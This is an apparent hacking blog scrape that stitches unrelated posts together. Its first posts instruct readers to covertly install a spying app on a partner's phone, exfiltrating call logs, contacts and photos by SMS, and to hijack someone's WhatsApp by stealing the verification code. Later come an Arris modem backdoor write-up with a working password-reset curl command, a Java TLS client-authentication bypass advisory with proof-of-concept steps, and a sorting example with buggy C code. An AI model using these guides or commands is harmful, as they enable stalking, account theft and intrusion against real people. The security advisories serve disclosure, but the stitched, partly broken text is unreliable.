Sunday, April 26, 2020

How To Hack And Trace Any Mobile Phone With A Free Software Remotly

Hello Everyone, Today I am Going To Write a very interesting post for You ..hope you all find this valuable.. :
What is The cost to hire a spy who can able to spy your girlfriend 24X7 days..???? it's around hundreds of dollars Or Sometimes Even Thousands of dollars 🙁
But you are on Hacking-News & Tutorials so everything mentioned here is absolutely free.
would you be happy if I will show you a Secret Mobile Phone trick by which you can Spy and trace your girlfriend, spouse or anyone's mobile phone 24 X 7 which is absolutely free?The only thing you have to do is send an SMS like SENDCALLLOG To get the call history of your girlfriend's phone.isn't it Sounds Cool... 🙂
Without Taking Much Of Your Time…
let's Start The trick…
STEP 1: First of all go to android market from your Girlfriend, spouse, friends or anyone's phone which you want to spy or download the app mentioned below.
STEP 2: Search for an android application named "Touch My life "

STEP 3: download and install that application on that phone.
STEP 4: Trick is Over 🙂
Now you can able to spy that phone anytime by just sending SMS to that phone.
Now give back that phone to your girlfriend.
and whenever you want to spy your girlfriend just send SMS from your phone to your Girlfriend phone Which are mentioned in Touch My Life manage to book.
I am mentioning some handy rules below…
1) Write "CALL ME BACK" without Quotes and Send it to your girlfriend's mobile number for an Automatic call back from your girlfriend's phone to your phone.
2)Write "VIBRATENSEC 30" without Quotes and send it to your girlfriend's mobile number to Vibrate your Girlfriend's Phone for 30 seconds.You can also change Values from 30 to anything for the desired Vibrate time.
3)Write "DEFRINGTONE" without Quotes and Send it to your girlfriend's mobile number..this will play the default ringtone on your girlfriend's phone.
4)Write "SEND PHOTO youremail@gmail.com" without Quotes and Send it to your girlfriend's mobile number.it will take the photo of the current location of your girlfriend and send it to the email address specified in the SMS as an attachment.it will also send a confirmation message to your number.
5)Write "SENDCALLLOG youremail@gmail.com" without Quotes and Send it to your girlfriend's mobile number ..it will send all the call details like incoming calls, outgoing calls, missed calls to the email address specified in the SMS.
6)Write "SENDCONTACTLIST youremail@gmail.com" without Quotes and Send it to your girlfriend's mobile number ..it will send all the Contact list to the email address specified in the SMS.
So Guys Above all are only some Handy features of touch my life…You can also view more by going to touch my life application and then its manage rules... 🙂
Enjoy..:)
Stay tuned with IemHacker … 🙂

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Saturday, April 25, 2020

How To Hack Any Whatsapp Account In 2020

The article will also be broken down into different subtopics and subcategories. This to make it easy for those who are just interested in skimming through the article to pick the part of WhatsApp hack they are most interested in. Just incase you don't have enough time to go through the entire article.

Search queries like these are a common place; Can WhatsApp be hacked? Can you read WhatsApp messages? How safe is the most popular trade fair in the world? This article gives you all the solution you need to hack any WhatsApp account, as well as how to protect yourself from a WhatsApp hack attack.

Although the messenger is now on an end-to-end encryption, WhatsApp is still not totally safe from espionage. WhatsApp chats and messages can still be accessed and read remotely, and old &deleted WhatsApp chats and messages retrieved.

WhatsApp Spy: Hack WhatsApp Chats and Messages

A very simple solution is to use a software that can hack WhatsApp remotely. All manufacturers offer to read the WhatsApp messages an extra web portal. In addition to the Whatsapp messages but can also spy on other messengers. So you can also have access to social media accounts.

The software may only be installed on a smartphone. If the user of the smartphone has been informed about the installation and effects.

WhatsApp Hacker: 3 Steps to Hack WhatsApp in 2020

You can hack Whatsapp using a second cell phone. No extra SIM card is necessary for this. The guide also works with a tablet. With this method, the other phone only needs to clone WhatsApp messages is internet connection.

The trick to hack Whatsapp successfully is not a software bug. It's the way WhatsApp has developed the setup wizard. Since there are no user accounts with passwords and you log in via the mobile number, here lies the vulnerability. But you can also protect yourself from the Whatsapp hack.

Hack WhatsApp Chat with the Best WhatsApp Hacking Tool

To read Whatsapp messages, the mobile phone number of the target must be known. The cell phone can remain locked. There is no need to install software to hack and read Whatsapp messages. Even with the PIN or fingerprint, the Whatsapp account can be hacked.

STEP 1: Create a New WhatsApp Account

To hack an account from Whatsapp, the app from the App Store must be installed on the second cell phone. After the installation of Whatsapp, target's phone number is entered. A confirmation request must be waited until access to the smartphone of the victim exists.

STEP 2: WhatsApp Account Confirmation

The confirmation of the Whatsapp account is the actual security risk of the messenger. Whatsapp usually confirms the registration via SMS. Occasionally the confirmation will also be sent by automated phone call via a phone call.

Calls and text messages can be read and taken by anyone even when the screen is locked. So that the WhatsApp hack does not stand out, the SMS must be removed from the start screen by swiping.

STEP 3: Enter Confirmation

The stolen verification PIN is now entered on the second smartphone. As a result, the WhatsApp account has been taken over by you. You can read the WhatsApp messages, which respond to this mobile phone number.

The downside to this trick is that the victim immediately notices the Whatsapp hack as soon as Whatsapp is opened. If the victim goes through the sign-in process again. The attacker loses access to the messages and no Whatsapp messages can be read.

How to Hack Someone's WhatsApp in 2020

A good way to hack a WhatsApp account is to hack whatsapp online. Here you can read WhatsApp messages via a browser and also write. The target user can continue to use his cell phone (works for iOS, Android phone etc) and does not notice the WhatsApp hack.

STEP 1: Access the Cell Phone

In order to be able to read WhatsApp messages by installing software. Access to the unlocked smartphone is required for a short time. In addition, cell phone, a computer or laptop is necessary. On this the Whatsapp messages will be read later.

STEP 2: Access WhatsApp Web

If you have access to the unlocked smartphone, Whatsapp must be started there. The Whatsapp settings include Whatsapp Web . If this is selected, Whatsapp opens a QR code scanner with the hint to open WhatsApp Web in the browser.

If the QR code is scanned in the browser with the smartphone. There is a permanent connection and Whatsapp messages can be read. If you want to hack Whatsapp in this way. You have full access to all incoming messages and you can even write messages yourself.

STEP 3: Read WhatsApp Messages

The target usually sees this Whatsapp hack only when the settings are invoked to Whatsapp Web in the app. Whatsapp messages can be read via the browser. Regardless of whether the smartphone is on home Wi-Fi or on the move. You can also hack group chats admin by just having any of the contact details.

WhatsApp Hack: How to Hack any WhatsApp account

Which is the most popular messaging app globally? Of course, you can use different apps from Android or iOS to send and receive messages. But Whatsapp remains everyone's favorite globally!

Whatsapp is one of the popular apps in the world. There are more than 2 billion active users on Whatsapp, messaging daily with the app. Why do people love WhatsApp? Whatsapp is very convenient and easy to use.

Other messaging apps like Facebook Messenger, still needs a special account to sign up for this app. If you change a new app, you'll need to add another account. This can be stressful, as you have to remember a lot of new passwords and usernames.

HACKER NT

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WHO IS ETHICAL HACKER

Who is hacker?
A hacker is a Creative person and a creative Programmer,who have knowledge about Networking,Operating system,hacking & a best creative social engineer who control anyone's mind he is also a knowledgeable person.
Hacker are the problem solver and tool builder.

                                OR

A hacker is an individual who uses computer, networking and other skills to overcome a technical problem but it often refers to a person who uses his or her abilities to gain unauthorized access to system or networks in  order to commit crimes. 


Related posts


Friday, April 24, 2020

A Quick Guide To Selection Sorting



In this Article I'll tell you about Selection Sort
Selection sort is that type of sorting in which smallest element of a list is searched and then this number is swapped with the first element of the list and then second smallest element is searched in the list and is swapped with the second element of the list and so on i,e this "thingy" thing continues on till n-1 times (where 'n' is the number of terms).
COMPLEXITY:-
Complexity of Selection sort is O(n^2) in best case as well as in worst case.

Well selection sort is not a good sorting algorithm which you can see even from the complexity of selection sort because selection sort performs same number of comparisons even in the best case as in the worst case. Which makes it very slow.
Pseudo-code:-
sort(Arr)
for i = 0 to n-1
smallest = location of smallest number from Arr[i] to Arr[n-1]
swap Arr[i] with Arr[smallest]

/*C Program: Implementation of Selection Sort*/
#include<stdio.h>
void swap(int a[], int i, int j){
    int tmp = a[i];
    a[i] = a[j];
    a[j] = tmp;
}
void selectionSort(int a[], int l, int h){
   for(int i=l; i<h; i++){
     int small  = i;
     for(int j=i+1; j<=h; j++){
       if(a[j] < a[i]) small = j;
     }
     swap(a,i,small);
   }
}
int main(void) {
   int arr[10], n;
   printf("Enter Size of Array: ");
   scanf("%d", &n);
   printf("Enter %d elements:\n", n);
   for(int i=0; i<n; i++) scanf("%d", &arr[i]);
   selectionSort(arr, 0, n-1);
   printf("Sorted Array is as:\n");
   for(int i=0; i<n; i++) printf("%d ", arr[i]);
   printf("\n");
   return 0;
}
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Thursday, April 23, 2020

How To Install And Run Backtrack On Android

Guide you step by step to How to install and run Backtrack on android. As the Backtrack is also available with ARM architecture which makes it possible to run Backtrack on an ARM machine such as mobiles or tablets.
Recently, We are discussed Install and Run BackTrack on Windows. Android is the best OS for penetration testing. It designed for digital forensics and penetration testing or hacking tool. It comes with many more updated tools. As the Backtrack is also available with ARM architecture which makes it possible to run Backtrack on an ARM machine such as mobiles or tablets.
How To Install and Run Backtrack On AndroidRequirements
Step to Install and Run Backtrack On Android:
First of all extract the BT5-GNOME-ARM.7z. and copy the "BT5" folder and then put in your phone's root directory. Here mine phone is /sdcard. The root directory is different for different mobile devices.
  • Now install all the above apps BusyboxAndroid TerminalAndroid Vnc.
  • After installing BusyBox application open it and wait until it finishes loading and then click on Smart install.
  • Now open the android terminal and type the following command:
    su cd /sdcard/BT5sh bootbtNOTE :- When you type su in terminal it will ask you for superuser request and you have to tap on Grant.
  • After this, type the following commands in terminal.
    export USER=rootvncpasswd
  • After entering vncpasswd the terminal will ask you to enter the password. Enter the desired password and hit enter.
  • Now type the following commands.
    tightvncserver -geometry 1280×720
  • The terminal emulator will create the localhost to connect it to VNC server. Now note the localhost port marked red below. Now minimize the terminal emulator.
  • Open the Android VNC and type the following settings.
Nickname : BT5
Password : your password here which you entered in terminal (step no.6)
Address : localhost
Port : 5906
NOTE: Make sure that your localhost's port matches with terminal's localhost. Here mine New 'X' desktop is localhost:6. You may be different. So, in VNC type Port 590X where the "X" is the localhost in the android terminal.
That's it now just tap on connect to run the Backtrack on your android. So in this way you successfully install and run backtrack 5 on android. If you face any problem feel free to discuss in below comments!

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Monday, April 20, 2020

Voodoo-Kali - Kali Linux Desktop On Windows 10

Iemhacker-kali-windows

How it works?
 * Kali Linux with XFCE Desktop Environment in Windows Subsystem for Linux (WSL)
 * VcXsrv X Server for Windows is doing the hard GUI lifting
 * XFCE is started natively in WSL and displayed by VcXsrv

Install Voodoo-Kali:
 1, Enable WSL and install Kali Linux from the Microsoft Store. Read Install Kali Linux desktop on Windows 10 from Microsoft Store

 2, To start Kali Linux in Windows 10, open Command Prompt and enter the command: kali

 3, Enter this commands:
      apt install wget -y 
      wget https://raw.githubusercontent.com/Re4son/WSL-Kali-X/master/install-WSL-Kali-X
      bash ./install-WSL-Kali-X

 4, Download and install VcXsrv Windows X Server from SourceForge

 5, Start VcXsrv, accept change in firewall rules, exit VcXsrv

Run Voodoo-Kali:
   Start kali in Windows as normal user (that's default), and launch Voodoo-Kali:
    * as normal user: ./start-xfce
    * as root: sudo /root/xtart-xfce

Run Kali Desktop in an RDP session:
   In Kali Linux WSL, type: sudo /etc/init.d/xrdp start
   In Windows 10, open Run and enter mstsc.exe and connect to "127.0.0.1:3390"
remote%2Bdesktop

Status: Voodoo-Kali is in its infancy and it is far from being elegant. I'm working on it though and step by step I'll push out improvements. Below a snippet of the To-Do list:
 * Clean up and comment the scripts
 * Make for a cleaner exit
 * Better error handling and dependency checking (get rid of sleep, etc.)
 * Improve stability of Java programs
 * Improve the looks??
 * …

   Any help is truly appreciated, in any shape or form – from tips to pull requests.
   Why don't you join the forums to discuss?

Further Information:
 * Offsec – Kali Linux in the Windows App Store
 * MSDN – Windows Subsystem for Linux Overview

                                       Download Voodoo-Kali

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Workshop And Presentation Slides And Materials

All of our previous workshop and presentation slides and materials are available in one location, from Google Drive.

From now on, we are only going to keep the latest-greatest version of each talk/workshop and announce changes on Twitter.

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WHO IS ETHICAL HACKER

Who is hacker?
A hacker is a Creative person and a creative Programmer,who have knowledge about Networking,Operating system,hacking & a best creative social engineer who control anyone's mind he is also a knowledgeable person.
Hacker are the problem solver and tool builder.

                                OR

A hacker is an individual who uses computer, networking and other skills to overcome a technical problem but it often refers to a person who uses his or her abilities to gain unauthorized access to system or networks in  order to commit crimes. 


More info

Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.
Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}
And finally:
{"credential":"technician:"} 
Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(




That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:


That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:


Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);
Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
What about setting a new value? Surely that will not work....



That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:


This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'
Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.


More info


CVE-2020-2655 JSSE Client Authentication Bypass

TLDR: If you are using TLS ClientAuthentication in Java 11 or newer you should patch NOW. There is a trivial bypass.


During our joint research on DTLS state machines, we discovered a really interesting vulnerability (CVE-2020-2655) in the recent versions of Sun JSSE (Java 11, 13). Interestingly, the vulnerability does not only affect DTLS implementations but does also affects the TLS implementation of JSSE in a similar way. The vulnerability allows an attacker to completely bypass client authentication and to authenticate as any user for which it knows the certificate WITHOUT needing to know the private key. If you just want the PoC's, feel free to skip the intro.





DTLS

I guess most readers are very familiar with the traditional TLS handshake which is used in HTTPS on the web.


DTLS is the crayon eating brother of TLS. It was designed to be very similar to TLS, but to provide the necessary changes to run TLS over UDP. DTLS currently exists in 2 versions (DTLS 1.0 and DTLS 1.2), where DTLS 1.0 roughly equals TLS 1.1 and DTLS 1.2 roughly equals TLS 1.2. DTLS 1.3 is currently in the process of being standardized. But what exactly are the differences? If a protocol uses UDP instead of TCP, it can never be sure that all messages it sent were actually received by the other party or that they arrived in the correct order. If we would just run vanilla TLS over UDP, an out of order or dropped message would break the connection (not only during the handshake). DTLS, therefore, includes additional sequence numbers that allow for the detection of out of order handshake messages or dropped packets. The sequence number is transmitted within the record header and is increased by one for each record transmitted. This is different from TLS, where the record sequence number was implicit and not transmitted with each record. The record sequence numbers are especially relevant once records are transmitted encrypted, as they are included in the additional authenticated data or HMAC computation. This allows a receiving party to verify AEAD tags and HMACs even if a packet was dropped on the transport and the counters are "out of sync".
Besides the record sequence numbers, DTLS has additional header fields in each handshake message to ensure that all the handshake messages have been received. The first handshake message a party sends has the message_seq=0 while the next handshake message a party transmits gets the message_seq=1 and so on. This allows a party to check if it has received all previous handshake messages. If, for example, a server received message_seq=2 and message_seq=4 but did not receive message_seq=3, it knows that it does not have all the required messages and is not allowed to proceed with the handshake. After a reasonable amount of time, it should instead periodically retransmit its previous flight of handshake message, to indicate to the opposing party they are still waiting for further handshake messages. This process gets even more complicated by additional fragmentation fields DTLS includes. The MTU (Maximum Transmission Unit) plays a crucial role in UDP as when you send a UDP packet which is bigger than the MTU the IP layer might have to fragment the packet into multiple packets, which will result in failed transmissions if parts of the fragment get lost in the transport. It is therefore desired to have smaller packets in a UDP based protocol. Since TLS records can get quite big (especially the certificate message as it may contain a whole certificate chain), the messages have to support fragmentation. One would assume that the record layer would be ideal for this scenario, as one could detect missing fragments by their record sequence number. The problem is that the protocol wants to support completely optional records, which do not need to be retransmitted if they are lost. This may, for example, be warning alerts or application data records. Also if one party decides to retransmit a message, it is always retransmitted with an increased record sequence number. For example, the first ClientKeyExchange message might have record sequence 2, the message gets dropped, the client decides that it is time to try again and might send it with record sequence 5. This was done as retransmissions are only part of DTLS within the handshake. After the handshake, it is up to the application to deal with dropped or reordered packets. It is therefore not possible to see just from the record sequence number if handshake fragments have been lost. DTLS, therefore, adds additional handshake message fragment information in each handshake message record which contains information about where the following bytes are supposed to be within a handshake message.


If a party has to replay messages, it might also refragment the messages into bits of different (usually smaller) sizes, as dropped packets might indicate that the packets were too big for the MTU). It might, therefore, happen that you already have received parts of the message, get a retransmission which contains some of the parts you already have, while others are completely new to you and you still do not have the complete message. The only option you then have is to retransmit your whole previous flight to indicate that you still have missing fragments. One notable special case in this retransmission fragmentation madness is the ChangecipherSpec message. In TLS, the ChangecipherSpec message is not a handshake message, but a message of the ChangeCipherSpec protocol. It, therefore, does not have a message_sequence. Only the record it is transmitted in has a record sequence number. This is important for applications that have to determine where to insert a ChangeCipherSpec message in the transcript.

As you might see, this whole record sequence, message sequence, 2nd layer of fragmentation, retransmission stuff (I didn't even mention epoch numbers) which is within DTLS, complicates the whole protocol a lot. Imagine being a developer having to implement this correctly and secure...  This also might be a reason why the scientific research community often does not treat DTLS with the same scrutiny as it does with TLS. It gets really annoying really fast...

Client Authentication

In most deployments of TLS only the server authenticates itself. It usually does this by sending an X.509 certificate to the client and then proving that it is in fact in possession of the private key for the certificate. In the case of RSA, this is done implicitly the ability to compute the shared secret (Premaster secret), in case of (EC)DHE this is done by signing the ephemeral public key of the server. The X.509 certificate is transmitted in plaintext and is not confidential. The client usually does not authenticate itself within the TLS handshake, but rather authenticates in the application layer (for example by transmitting a username and password in HTTP). However, TLS also offers the possibility for client authentication during the TLS handshake. In this case, the server sends a CertificateRequest message during its first flight. The client is then supposed to present its X.509 Certificate, followed by its ClientKeyExchange message (containing either the encrypted premaster secret or its ephemeral public key). After that, the client also has to prove to the server that it is in possession of the private key of the transmitted certificate, as the certificate is not confidential and could be copied by a malicious actor. The client does this by sending a CertificateVerify message, which contains a signature over the handshake transcript up to this point, signed with the private key which belongs to the certificate of the client. The handshake then proceeds as usual with a ChangeCipherSpec message (which tells the other party that upcoming messages will be encrypted under the negotiated keys), followed by a Finished message, which assures that the handshake has not been tampered with. The server also sends a CCS and Finished message, and after that handshake is completed and both parties can exchange application data. The same mechanism is also present in DTLS.

But what should a Client do if it does not possess a certificate? According to the RFC, the client is then supposed to send an empty certificate and skip the CertificateVerify message (as it has no key to sign anything with). It is then up to the TLS server to decide what to do with the client. Some TLS servers provide different options in regards to client authentication and differentiate between REQUIRED and WANTED (and NONE). If the server is set to REQUIRED, it will not finish the TLS handshake without client authentication. In the case of WANTED, the handshake is completed and the authentication status is then passed to the application. The application then has to decide how to proceed with this. This can be useful to present an error to a client asking him to present a certificate or insert a smart card into a reader (or the like). In the presented bugs we set the mode to REQUIRED.

State machines

As you might have noticed it is not trivial to decide when a client or server is allowed to receive or send each message. Some messages are optional, some are required, some messages are retransmitted, others are not. How an implementation reacts to which message when is encompassed by its state machine. Some implementations explicitly implement this state machine, while others only do this implicitly by raising errors internally if things happen which should not happen (like setting a master_secret when a master_secret was already set for the epoch). In our research, we looked exactly at the state machines of DTLS implementations using a grey box approach. The details to our approach will be in our upcoming paper (which will probably have another blog post), but what we basically did is carefully craft message flows and observed the behavior of the implementation to construct a mealy machine which models the behavior of the implementation to in- and out of order messages. We then analyzed these mealy machines for unexpected/unwanted/missing edges. The whole process is very similar to the work of Joeri de Ruiter and Erik Poll.


JSSE Bugs

The bugs we are presenting today were present in Java 11 and Java 13 (Oracle and OpenJDK). Older versions were as far as we know not affected. Cryptography in Java is implemented with so-called SecurityProvider. Per default SUN JCE is used to implement cryptography, however, every developer is free to write or add their own security provider and to use them for their cryptographic operations. One common alternative to SUN JCE is BouncyCastle. The whole concept is very similar to OpenSSL's engine concept (if you are familiar with that). Within the JCE exists JSSE - the Java Secure Socket Extension, which is the SSL/TLS part of JCE. The presented attacks were evaluated using SUN JSSE, so the default TLS implementation in Java. JSSE implements TLS and DTLS (added in Java 9). However, DTLS is not trivial to use, as the interface is quite complex and there are not a lot of good examples on how to use it. In the case of DTLS, only the heart of the protocol is implemented, how the data is moved from A to B is left to the developer. We developed a test harness around the SSLEngine.java to be able to speak DTLS with Java. The way JSSE implemented a state machine is quite interesting, as it was completely different from all other analyzed implementations. JSSE uses a producer/consumer architecture to decided on which messages to process. The code is quite complex but worth a look if you are interested in state machines.

So what is the bug we found? The first bug we discovered is that a JSSE DTLS/TLS Server accepts the following message sequence, with client authentication set to required:


JSSE is totally fine with the messages and finishes the handshake although the client does NOT provide a certificate at all (nor a CertificateVerify message). It is even willing to exchange application data with the client. But are we really authenticated with this message flow? Who are we? We did not provide a certificate! The answer is: it depends. Some applications trust that needClientAuth option of the TLS socket works and that the user is *some* authenticated user, which user exactly does not matter or is decided upon other authentication methods. If an application does this - then yes, you are authenticated. We tested this bug with Apache Tomcat and were able to bypass ClientAuthentication if it was activated and configured to use JSSE. However, if the application decides to check the identity of the user after the TLS socket was opened, an exception is thrown:

The reason for this is the following code snippet from within JSSE:


As we did not send a client certificate the value of peerCerts is null, therefore an exception is thrown. Although this bug is already pretty bad, we found an even worse (and weirder) message sequence which completely authenticates a user to a DTLS server (not TLS server though). Consider the following message sequence:

If we send this message sequence the server magically finishes the handshake with us and we are authenticated.

First off: WTF
Second off: WTF!!!111

This message sequence does not make any sense from a TLS/DTLS perspective. It starts off as a "no-authentication" handshake but then weird things happen. Instead of the Finished message, we send a Certificate message, followed by a Finished message, followed by a second(!) CCS message, followed by another Finished message. Somehow this sequence confuses JSSE such that we are authenticated although we didn't even provide proof that we own the private key for the Certificate we transmitted (as we did not send a CertificateVerify message).
So what is happening here? This bug is basically a combination of multiple bugs within JSSE. By starting the flight with a ClientKeyExchange message instead of a Certificate message, we make JSSE believe that the next messages we are supposed to send are ChangeCipherSpec and Finished (basically the first exploit). Since we did not send a Certificate message we are not required to send a CertificateVerify message. After the ClientKeyExchange message, JSSE is looking for a ChangeCipherSpec message followed by an "encrypted handshake message". JSSE assumes that the first encrypted message it receives will be the Finished message. It, therefore, waits for this condition. By sending ChangeCipherSpec and Certificate we are fulfilling this condition. The Certificate message really is an "encrypted handshake message" :). This triggers JSSE to proceed with the processing of received messages, ChangeCipherSpec message is consumed, and then the Certifi... Nope, JSSE notices that this is not a Finished message, so what JSSE does is buffer this message and revert to the previous state as this step has apparently not worked correctly. It then sees the Finished message - this is ok to receive now as we were *somehow* expecting a Finished message, but JSSE thinks that this Finished is out of place, as it reverted the state already to the previous one. So this message gets also buffered. JSSE is still waiting for a ChangeCipherSpec, "encrypted handshake message" - this is what the second ChangeCipherSpec & Finished is for. These messages trigger JSSE to proceed in the processing. It is actually not important that the last message is a Finished message, any handshake message will do the job. Since JSSE thinks that it got all required messages again it continues to process the received messages, but the Certificate and Finished message we sent previously are still in the buffer. The Certificate message is processed (e.g., the client certificate is written to the SSLContext.java). Then the next message in the buffer is processed, which is a Finished message. JSSE processes the Finished message (as it already had checked that it is fine to receive), it checks that the verify data is correct, and then... it stops processing any further messages. The Finished message basically contains a shortcut. Once it is processed we can stop interpreting other messages in the buffer (like the remaining ChangeCipherSpec & "encrypted handshake message"). JSSE thinks that the handshake has finished and sends ChangeCipherSpec Finished itself and with that the handshake is completed and the connection can be used as normal. If the application using JSSE now decides to check the Certificate in the SSLContext, it will see the certificate we presented (with no possibility to check that we did not present a CertificateVerify). The session is completely valid from JSSE's perspective.

Wow.

The bug was quite complex to analyze and is totally unintuitive. If you are still confused - don't worry. You are in good company, I spent almost a whole day analyzing the details... and I am still confused. The main problem why this bug is present is that JSSE did not validate the received message_sequence numbers of incoming handshake message. It basically called receive, sorted the received messages by their message_sequence, and processed the message in the "intended" order, without checking that this is the order they are supposed to be sent in.
For example, for JSSE the following message sequence (Certificate and CertificateVerify are exchanged) is totally fine:

Not sending a Certificate message was fine for JSSE as the REQUIRED setting was not correctly evaluated during the handshake. The consumer/producer architecture of JSSE then allowed us to cleverly bypass all the sanity checks.
But fortunately (for the community) this bypass does not work for TLS. Only the less-used DTLS is vulnerable. And this also makes kind of sense. DTLS has to be much more relaxed in dealing with out of order messages then TLS as UDP packets can get swapped or lost on transport and we still want to buffer messages even if they are out of order. But unfortunately for the community, there is also a bypass for JSSE TLS - and it is really really trivial:

Yep. You can just not send a CertificateVerify (and therefore no signature at all). If there is no signature there is nothing to be validated. From JSSE's perspective, you are completely authenticated. Nothing fancy, no complex message exchanges. Ouch.

PoC

A vulnerable java server can be found _*here*_. The repository includes a pre-built JSSE server and a Dockerfile to run the server in a vulnerable Java version. (If you want, you can also build the server yourself).
You can build the docker images with the following commands:

docker build . -t poc

You can start the server with docker:

docker run -p 4433:4433 poc tls

The server is configured to enforce client authentication and to only accept the client certificate with the SHA-256 Fingerprint: B3EAFA469E167DDC7358CA9B54006932E4A5A654699707F68040F529637ADBC2.

You can change the fingerprint the server accepts to your own certificates like this:

docker run -p 4433:4433 poc tls f7581c9694dea5cd43d010e1925740c72a422ff0ce92d2433a6b4f667945a746

To exploit the described vulnerabilities, you have to send (D)TLS messages in an unconventional order or have to not send specific messages but still compute correct cryptographic operations. To do this, you could either modify a TLS library of your choice to do the job - or instead use our TLS library TLS-Attacker. TLS-Attacker was built to send arbitrary TLS messages with arbitrary content in an arbitrary order - exactly what we need for this kind of attack. We have already written a few times about TLS-Attacker. You can find a general tutorial __here__, but here is the TLDR (for Ubuntu) to get you going.

Now TLS-Attacker should be built successfully and you should have some built .jar files within the apps/ folder.
We can now create a custom workflow as an XML file where we specify the messages we want to transmit:

This workflow trace basically tells TLS-Attacker to send a default ClientHello, wait for a ServerHelloDone message, then send a ClientKeyExchange message for whichever cipher suite the server chose and then follow it up with a ChangeCipherSpec & Finished message. After that TLS-Attacker will just wait for whatever the server sent. The last action prints the (eventually) transmitted application data into the console. You can execute this WorkflowTrace with the TLS-Client.jar:

java -jar TLS-Client.jar -connect localhost:4433 -workflow_input exploit1.xml

With a vulnerable server the result should look something like this:

and from TLS-Attackers perspective:

As mentioned earlier, if the server is trying to access the certificate, it throws an SSLPeerUnverifiedException. However, if the server does not - it is completely fine exchanging application data.
We can now also run the second exploit against the TLS server (not the one against DTLS). For this case I just simply also send the certificate of a valid client to the server (without knowing the private key). The modified WorkflowTrace looks like this:

Your output should now look like this:

As you can see, when accessing the certificate, no exception is thrown and everything works as if we would have the private key. Yep, it is that simple.
To test the DTLS specific vulnerability we need a vulnerable DTLS-Server:

docker run -p 4434:4433/udp poc:latest dtls

A WorkflowTrace which exploits the DTLS specific vulnerability would look like this:

To execute the handshake we now need to tell TLS-Attacker additionally to use UDP instead of TCP and DTLS instead of TLS:

java -jar TLS-Client.jar -connect localhost:4434 -workflow_input exploit2.xml -transport_handler_type UDP -version DTLS12

Resulting in the following handshake:

As you can see, we can exchange ApplicationData as an authenticated user. The server actually sends the ChangeCipherSpec,Finished messages twice - to avoid retransmissions from the client in case his ChangeCipherSpec,Finished is lost in transit (this is done on purpose).


Conclusion

These bugs are quite fatal for client authentication. The vulnerability got CVSS:4.8 as it is "hard to exploit" apparently. It's hard to estimate the impact of the vulnerability as client authentication is often done in internal networks, on unusual ports or in smart-card setups. If you want to know more about how we found these vulnerabilities you sadly have to wait for our research paper. Until then ~:)

Credits

Paul Fiterau Brostean (@PaulTheGreatest) (Uppsala University)
Robert Merget (@ic0nz1) (Ruhr University Bochum)
Juraj Somorovsky (@jurajsomorovsky) (Ruhr University Bochum)
Kostis Sagonas (Uppsala University)
Bengt Jonsson (Uppsala University)
Joeri de Ruiter (@cypherpunknl)  (SIDN Labs)

 

 Responsible Disclosure

We reported our vulnerabilities to Oracle in September 2019. The patch for these issues was released on 14.01.2020.
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